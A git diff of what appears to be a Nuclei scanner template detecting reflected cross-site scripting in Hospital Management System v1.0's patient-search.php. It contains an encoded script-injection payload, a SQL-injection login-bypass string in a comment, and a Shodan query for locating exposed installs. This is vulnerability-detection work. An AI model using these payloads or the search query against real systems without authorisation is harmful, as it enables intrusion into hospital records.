diff --git a/vulnerabilities/other/hms-xss-2.yaml b/vulnerabilities/other/hospital-management-xss2.yaml similarity index 66% rename from vulnerabilities/other/hms-xss-2.yaml rename to vulnerabilities/other/hospital-management-xss2.yaml index 42b897e5b7..fbaeb204d7 100644 --- a/vulnerabilities/other/hms-xss-2.yaml +++ b/vulnerabilities/other/hospital-management-xss2.yaml @@ -1,4 +1,4 @@ -id: hms-xss-2 +id: hospital-management-xss2 info: name: Hospital Management System v1.0 - Cross Site Scripting @@ -7,10 +7,10 @@ info: description: | Hospital Management System v1.0 was discovered to contain a XSS vulnerability via the searchdata parameter in patient-search.php. metadata: - comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. - shodan-query: http.html:"Hospital Management System" verified: true - tags: hms,hospital,cms,xss + shodan-query: http.html:"Hospital Management System" + comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. + tags: hms,hospital,cms,xss,authenticated requests: - raw: @@ -26,19 +26,14 @@ requests: Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - searchdata=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&search= + searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search= - skip-variables-check: true - redirects: true - max-redirects: 2 + req-condition: true cookie-reuse: true - matchers-condition: and matchers: - - type: word - part: body - words: - - '' - - - type: status - status: - - 200 + - type: dsl + dsl: + - 'contains(all_headers_2, "text/html")' + - "status_code_2 == 200" + - contains(body_2, 'Result against \"\" keyword') + condition: and